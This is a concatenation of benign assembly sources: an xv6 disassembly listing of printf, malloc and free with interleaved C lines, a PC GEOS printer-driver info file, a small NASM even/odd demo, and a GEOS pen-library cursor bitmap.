4b0: b8 0c 00 00 00 mov $0xc,%eax
4b5: cd 40 int $0x40
4b7: c3 ret
000004b8 <sleep>:
SYSCALL(sleep)
4b8: b8 0d 00 00 00 mov $0xd,%eax
4bd: cd 40 int $0x40
4bf: c3 ret
000004c0 <uptime>:
SYSCALL(uptime)
4c0: b8 0e 00 00 00 mov $0xe,%eax
4c5: cd 40 int $0x40
4c7: c3 ret
000004c8 <setVariable>:
SYSCALL(setVariable)
4c8: b8 17 00 00 00 mov $0x17,%eax
4cd: cd 40 int $0x40
4cf: c3 ret
000004d0 <getVariable>:
SYSCALL(getVariable)
4d0: b8 18 00 00 00 mov $0x18,%eax
4d5: cd 40 int $0x40
4d7: c3 ret
000004d8 <remVariable>:
SYSCALL(remVariable)
4d8: b8 19 00 00 00 mov $0x19,%eax
4dd: cd 40 int $0x40
4df: c3 ret
000004e0 <wait2>:
SYSCALL(wait2)
4e0: b8 1a 00 00 00 mov $0x1a,%eax
4e5: cd 40 int $0x40
4e7: c3 ret
4e8: 66 90 xchg %ax,%ax
4ea: 66 90 xchg %ax,%ax
4ec: 66 90 xchg %ax,%ax
4ee: 66 90 xchg %ax,%ax
000004f0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 57 push %edi
4f4: 56 push %esi
4f5: 53 push %ebx
4f6: 89 c6 mov %eax,%esi
4f8: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
4fb: 8b 5d 08 mov 0x8(%ebp),%ebx
4fe: 85 db test %ebx,%ebx
500: 74 7e je 580 <printint+0x90>
502: 89 d0 mov %edx,%eax
504: c1 e8 1f shr $0x1f,%eax
507: 84 c0 test %al,%al
509: 74 75 je 580 <printint+0x90>
neg = 1;
x = -xx;
50b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
50d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
514: f7 d8 neg %eax
516: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
519: 31 ff xor %edi,%edi
51b: 8d 5d d7 lea -0x29(%ebp),%ebx
51e: 89 ce mov %ecx,%esi
520: eb 08 jmp 52a <printint+0x3a>
522: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
528: 89 cf mov %ecx,%edi
52a: 31 d2 xor %edx,%edx
52c: 8d 4f 01 lea 0x1(%edi),%ecx
52f: f7 f6 div %esi
531: 0f b6 92 dc 08 00 00 movzbl 0x8dc(%edx),%edx
}while((x /= base) != 0);
538: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
53a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
53d: 75 e9 jne 528 <printint+0x38>
if(neg)
53f: 8b 45 c4 mov -0x3c(%ebp),%eax
542: 8b 75 c0 mov -0x40(%ebp),%esi
545: 85 c0 test %eax,%eax
547: 74 08 je 551 <printint+0x61>
buf[i++] = '-';
549: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
54e: 8d 4f 02 lea 0x2(%edi),%ecx
551: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
555: 8d 76 00 lea 0x0(%esi),%esi
558: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
55b: 83 ec 04 sub $0x4,%esp
55e: 83 ef 01 sub $0x1,%edi
561: 6a 01 push $0x1
563: 53 push %ebx
564: 56 push %esi
565: 88 45 d7 mov %al,-0x29(%ebp)
568: e8 db fe ff ff call 448 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
56d: 83 c4 10 add $0x10,%esp
570: 39 df cmp %ebx,%edi
572: 75 e4 jne 558 <printint+0x68>
putc(fd, buf[i]);
}
574: 8d 65 f4 lea -0xc(%ebp),%esp
577: 5b pop %ebx
578: 5e pop %esi
579: 5f pop %edi
57a: 5d pop %ebp
57b: c3 ret
57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
580: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
582: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
589: eb 8b jmp 516 <printint+0x26>
58b: 90 nop
58c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000590 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
590: 55 push %ebp
591: 89 e5 mov %esp,%ebp
593: 57 push %edi
594: 56 push %esi
595: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
596: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
599: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
59c: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
59f: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5a2: 89 45 d0 mov %eax,-0x30(%ebp)
5a5: 0f b6 1e movzbl (%esi),%ebx
5a8: 83 c6 01 add $0x1,%esi
5ab: 84 db test %bl,%bl
5ad: 0f 84 b0 00 00 00 je 663 <printf+0xd3>
5b3: 31 d2 xor %edx,%edx
5b5: eb 39 jmp 5f0 <printf+0x60>
5b7: 89 f6 mov %esi,%esi
5b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
5c0: 83 f8 25 cmp $0x25,%eax
5c3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
5c6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
5cb: 74 18 je 5e5 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5cd: 8d 45 e2 lea -0x1e(%ebp),%eax
5d0: 83 ec 04 sub $0x4,%esp
5d3: 88 5d e2 mov %bl,-0x1e(%ebp)
5d6: 6a 01 push $0x1
5d8: 50 push %eax
5d9: 57 push %edi
5da: e8 69 fe ff ff call 448 <write>
5df: 8b 55 d4 mov -0x2c(%ebp),%edx
5e2: 83 c4 10 add $0x10,%esp
5e5: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5e8: 0f b6 5e ff movzbl -0x1(%esi),%ebx
5ec: 84 db test %bl,%bl
5ee: 74 73 je 663 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
5f0: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
5f2: 0f be cb movsbl %bl,%ecx
5f5: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
5f8: 74 c6 je 5c0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
5fa: 83 fa 25 cmp $0x25,%edx
5fd: 75 e6 jne 5e5 <printf+0x55>
if(c == 'd'){
5ff: 83 f8 64 cmp $0x64,%eax
602: 0f 84 f8 00 00 00 je 700 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
608: 81 e1 f7 00 00 00 and $0xf7,%ecx
60e: 83 f9 70 cmp $0x70,%ecx
611: 74 5d je 670 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
613: 83 f8 73 cmp $0x73,%eax
616: 0f 84 84 00 00 00 je 6a0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
61c: 83 f8 63 cmp $0x63,%eax
61f: 0f 84 ea 00 00 00 je 70f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
625: 83 f8 25 cmp $0x25,%eax
628: 0f 84 c2 00 00 00 je 6f0 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
62e: 8d 45 e7 lea -0x19(%ebp),%eax
631: 83 ec 04 sub $0x4,%esp
634: c6 45 e7 25 movb $0x25,-0x19(%ebp)
638: 6a 01 push $0x1
63a: 50 push %eax
63b: 57 push %edi
63c: e8 07 fe ff ff call 448 <write>
641: 83 c4 0c add $0xc,%esp
644: 8d 45 e6 lea -0x1a(%ebp),%eax
647: 88 5d e6 mov %bl,-0x1a(%ebp)
64a: 6a 01 push $0x1
64c: 50 push %eax
64d: 57 push %edi
64e: 83 c6 01 add $0x1,%esi
651: e8 f2 fd ff ff call 448 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
656: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
65a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
65d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
65f: 84 db test %bl,%bl
661: 75 8d jne 5f0 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
663: 8d 65 f4 lea -0xc(%ebp),%esp
666: 5b pop %ebx
667: 5e pop %esi
668: 5f pop %edi
669: 5d pop %ebp
66a: c3 ret
66b: 90 nop
66c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
670: 83 ec 0c sub $0xc,%esp
673: b9 10 00 00 00 mov $0x10,%ecx
678: 6a 00 push $0x0
67a: 8b 5d d0 mov -0x30(%ebp),%ebx
67d: 89 f8 mov %edi,%eax
67f: 8b 13 mov (%ebx),%edx
681: e8 6a fe ff ff call 4f0 <printint>
ap++;
686: 89 d8 mov %ebx,%eax
688: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
68b: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
68d: 83 c0 04 add $0x4,%eax
690: 89 45 d0 mov %eax,-0x30(%ebp)
693: e9 4d ff ff ff jmp 5e5 <printf+0x55>
698: 90 nop
699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
6a0: 8b 45 d0 mov -0x30(%ebp),%eax
6a3: 8b 18 mov (%eax),%ebx
ap++;
6a5: 83 c0 04 add $0x4,%eax
6a8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
6ab: b8 d3 08 00 00 mov $0x8d3,%eax
6b0: 85 db test %ebx,%ebx
6b2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
6b5: 0f b6 03 movzbl (%ebx),%eax
6b8: 84 c0 test %al,%al
6ba: 74 23 je 6df <printf+0x14f>
6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6c0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6c3: 8d 45 e3 lea -0x1d(%ebp),%eax
6c6: 83 ec 04 sub $0x4,%esp
6c9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
6cb: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6ce: 50 push %eax
6cf: 57 push %edi
6d0: e8 73 fd ff ff call 448 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
6d5: 0f b6 03 movzbl (%ebx),%eax
6d8: 83 c4 10 add $0x10,%esp
6db: 84 c0 test %al,%al
6dd: 75 e1 jne 6c0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
6df: 31 d2 xor %edx,%edx
6e1: e9 ff fe ff ff jmp 5e5 <printf+0x55>
6e6: 8d 76 00 lea 0x0(%esi),%esi
6e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6f0: 83 ec 04 sub $0x4,%esp
6f3: 88 5d e5 mov %bl,-0x1b(%ebp)
6f6: 8d 45 e5 lea -0x1b(%ebp),%eax
6f9: 6a 01 push $0x1
6fb: e9 4c ff ff ff jmp 64c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
700: 83 ec 0c sub $0xc,%esp
703: b9 0a 00 00 00 mov $0xa,%ecx
708: 6a 01 push $0x1
70a: e9 6b ff ff ff jmp 67a <printf+0xea>
70f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
712: 83 ec 04 sub $0x4,%esp
715: 8b 03 mov (%ebx),%eax
717: 6a 01 push $0x1
719: 88 45 e4 mov %al,-0x1c(%ebp)
71c: 8d 45 e4 lea -0x1c(%ebp),%eax
71f: 50 push %eax
720: 57 push %edi
721: e8 22 fd ff ff call 448 <write>
726: e9 5b ff ff ff jmp 686 <printf+0xf6>
72b: 66 90 xchg %ax,%ax
72d: 66 90 xchg %ax,%ax
72f: 90 nop
00000730 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
730: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
731: a1 04 0c 00 00 mov 0xc04,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
736: 89 e5 mov %esp,%ebp
738: 57 push %edi
739: 56 push %esi
73a: 53 push %ebx
73b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
73e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
740: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
743: 39 c8 cmp %ecx,%eax
745: 73 19 jae 760 <free+0x30>
747: 89 f6 mov %esi,%esi
749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
750: 39 d1 cmp %edx,%ecx
752: 72 1c jb 770 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
754: 39 d0 cmp %edx,%eax
756: 73 18 jae 770 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
758: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
75a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
75c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
75e: 72 f0 jb 750 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
760: 39 d0 cmp %edx,%eax
762: 72 f4 jb 758 <free+0x28>
764: 39 d1 cmp %edx,%ecx
766: 73 f0 jae 758 <free+0x28>
768: 90 nop
769: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
770: 8b 73 fc mov -0x4(%ebx),%esi
773: 8d 3c f1 lea (%ecx,%esi,8),%edi
776: 39 d7 cmp %edx,%edi
778: 74 19 je 793 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
77a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
77d: 8b 50 04 mov 0x4(%eax),%edx
780: 8d 34 d0 lea (%eax,%edx,8),%esi
783: 39 f1 cmp %esi,%ecx
785: 74 23 je 7aa <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
787: 89 08 mov %ecx,(%eax)
freep = p;
789: a3 04 0c 00 00 mov %eax,0xc04
}
78e: 5b pop %ebx
78f: 5e pop %esi
790: 5f pop %edi
791: 5d pop %ebp
792: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
793: 03 72 04 add 0x4(%edx),%esi
796: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
799: 8b 10 mov (%eax),%edx
79b: 8b 12 mov (%edx),%edx
79d: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
7a0: 8b 50 04 mov 0x4(%eax),%edx
7a3: 8d 34 d0 lea (%eax,%edx,8),%esi
7a6: 39 f1 cmp %esi,%ecx
7a8: 75 dd jne 787 <free+0x57>
p->s.size += bp->s.size;
7aa: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
7ad: a3 04 0c 00 00 mov %eax,0xc04
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
7b2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
7b5: 8b 53 f8 mov -0x8(%ebx),%edx
7b8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
7ba: 5b pop %ebx
7bb: 5e pop %esi
7bc: 5f pop %edi
7bd: 5d pop %ebp
7be: c3 ret
7bf: 90 nop
000007c0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7c0: 55 push %ebp
7c1: 89 e5 mov %esp,%ebp
7c3: 57 push %edi
7c4: 56 push %esi
7c5: 53 push %ebx
7c6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7c9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
7cc: 8b 15 04 0c 00 00 mov 0xc04,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7d2: 8d 78 07 lea 0x7(%eax),%edi
7d5: c1 ef 03 shr $0x3,%edi
7d8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
7db: 85 d2 test %edx,%edx
7dd: 0f 84 a3 00 00 00 je 886 <malloc+0xc6>
7e3: 8b 02 mov (%edx),%eax
7e5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
7e8: 39 cf cmp %ecx,%edi
7ea: 76 74 jbe 860 <malloc+0xa0>
7ec: 81 ff 00 10 00 00 cmp $0x1000,%edi
7f2: be 00 10 00 00 mov $0x1000,%esi
7f7: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
7fe: 0f 43 f7 cmovae %edi,%esi
801: ba 00 80 00 00 mov $0x8000,%edx
806: 81 ff ff 0f 00 00 cmp $0xfff,%edi
80c: 0f 46 da cmovbe %edx,%ebx
80f: eb 10 jmp 821 <malloc+0x61>
811: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
818: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
81a: 8b 48 04 mov 0x4(%eax),%ecx
81d: 39 cf cmp %ecx,%edi
81f: 76 3f jbe 860 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
821: 39 05 04 0c 00 00 cmp %eax,0xc04
827: 89 c2 mov %eax,%edx
829: 75 ed jne 818 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
82b: 83 ec 0c sub $0xc,%esp
82e: 53 push %ebx
82f: e8 7c fc ff ff call 4b0 <sbrk>
if(p == (char*)-1)
834: 83 c4 10 add $0x10,%esp
837: 83 f8 ff cmp $0xffffffff,%eax
83a: 74 1c je 858 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
83c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
83f: 83 ec 0c sub $0xc,%esp
842: 83 c0 08 add $0x8,%eax
845: 50 push %eax
846: e8 e5 fe ff ff call 730 <free>
return freep;
84b: 8b 15 04 0c 00 00 mov 0xc04,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
851: 83 c4 10 add $0x10,%esp
854: 85 d2 test %edx,%edx
856: 75 c0 jne 818 <malloc+0x58>
return 0;
858: 31 c0 xor %eax,%eax
85a: eb 1c jmp 878 <malloc+0xb8>
85c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
860: 39 cf cmp %ecx,%edi
862: 74 1c je 880 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
864: 29 f9 sub %edi,%ecx
866: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
869: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
86c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
86f: 89 15 04 0c 00 00 mov %edx,0xc04
return (void*)(p + 1);
875: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
878: 8d 65 f4 lea -0xc(%ebp),%esp
87b: 5b pop %ebx
87c: 5e pop %esi
87d: 5f pop %edi
87e: 5d pop %ebp
87f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
880: 8b 08 mov (%eax),%ecx
882: 89 0a mov %ecx,(%edx)
884: eb e9 jmp 86f <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
886: c7 05 04 0c 00 00 08 movl $0xc08,0xc04
88d: 0c 00 00
890: c7 05 08 0c 00 00 08 movl $0xc08,0xc08
897: 0c 00 00
base.s.size = 0;
89a: b8 08 0c 00 00 mov $0xc08,%eax
89f: c7 05 0c 0c 00 00 00 movl $0x0,0xc0c
8a6: 00 00 00
8a9: e9 3e ff ff ff jmp 7ec <malloc+0x2c>
| 29.979272 | 60 | 0.416142 | [
"MIT-0"
] | AlonYeroushalmi/Assignment_1 | stressfs.asm | 53,513 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Brother NIKE 56-jet printer driver
FILE: nike56DriverInfo.asm
AUTHOR: Dave Durran
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 10/94 Initial revision
DESCRIPTION:
Driver info for the Brother 56-pin printer driver
The file "printerDriver.def" should be included before this one
$Id: nike56DriverInfo.asm,v 1.1 97/04/18 11:55:33 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Driver Info Resource
This part of the file contains the information that pertains to
all device supported by the driver. It includes device names and
a table of the resource handles for the specific device info. A
pointer to this info is provided by the DriverInfo function.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DriverInfo segment lmem LMEM_TYPE_GENERAL
;----------------------------------------------------------------------------
; Device Enumerations
;----------------------------------------------------------------------------
DefPrinter PD_NIKE_IV_PLAIN, "B/W, Plain Paper", baseInfo
DefPrinter PD_NIKE_IV_TRANSP, "B/W, Transparency", baseTranInfo
DefPrinter PD_NIKE_VII_PLAIN, "Color, Plain Paper", colorInfo
DefPrinter PD_NIKE_VII_TRANSP, "Color, Transparency", colorTranInfo
;----------------------------------------------------------------------------
; Driver Info Header
;----------------------------------------------------------------------------
DriverExtendedInfoTable < {}, ; lmem hdr
PrintDevice/2, ; # devices
offset deviceStrings, ; devices
offset deviceInfoTab ; info blocks
>
PrintDriverInfo < 60, ; timeout (sec)
PR_DONT_RESEND, ;
isoSubstitutions, ;ISO sub tab.
asciiTransTable,
PDT_PRINTER,
TRUE
>
;----------------------------------------------------------------------------
; Device String Table and Strings
;----------------------------------------------------------------------------
isoSubstitutions chunk.word 0ffffh ;no ISO subs.
; ASCII Translation List for Foreign Language Versions
asciiTransTable chunk.char ";;",0
;create the actual tables....
PrinterTables
DriverInfo ends
| 32.39759 | 79 | 0.463741 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Printer/DotMatrix/Nike56/nike56DriverInfo.asm | 2,689 | Assembly |
section .text
global _start ; must be declared for using gcc
_start: ; tell linker entry point
mov ax, 8h ; getting 8 in the ax (EVEN)
and ax, 1 ; and ax with 1
jz evnn
mov eax, 4 ; system call number (sys_write)
mov ebx, 1 ; file descriptor (stdout)
mov ecx, odd_msg ; message to write
mov edx, len2 ; length of message
int 0x80 ; call kernel
jmp outprog
evnn:
mov ah, 09h
mov eax, 4 ; system call number (sys_write)
mov ebx, 1 ; file descriptor (stdout)
mov ecx, even_msg ; message to write
mov edx, len1 ; length of message
int 0x80 ; call kernel
outprog:
mov eax,1 ; system call number (sys_exit)
int 0x80 ; call kernel
section .data
even_msg db 'Even Number!' ; message showing even number
len1 equ $ - even_msg
odd_msg db 'Odd Number!' ; message showing odd number
len2 equ $ - odd_msg | 32.470588 | 61 | 0.526268 | [
"MIT"
] | seanmcelroy/picovm | picovm/asm-src/logical-instructions.asm | 1,104 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved
PROJECT: Pen library
MODULE: Ink
FILE: inkCursors.asm
AUTHOR: Andrew Wilson, Oct 22, 1991
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 10/22/91 Initial revision
DESCRIPTION:
Contains ptr images for the ink object
$Id: inkCursors.asm,v 1.1 97/04/05 01:27:44 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Cursors segment lmem LMEM_TYPE_GENERAL
SelectCursor chunk
PointerDef <
16, ; PD_width
16, ; PD_height
7, ; PD_hotX
7 ; PD_hotY
>
byte 00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b,
00000000b, 00000000b
byte 00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
11111110b, 11111110b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000001b, 00000000b,
00000000b, 00000000b
SelectCursor endc
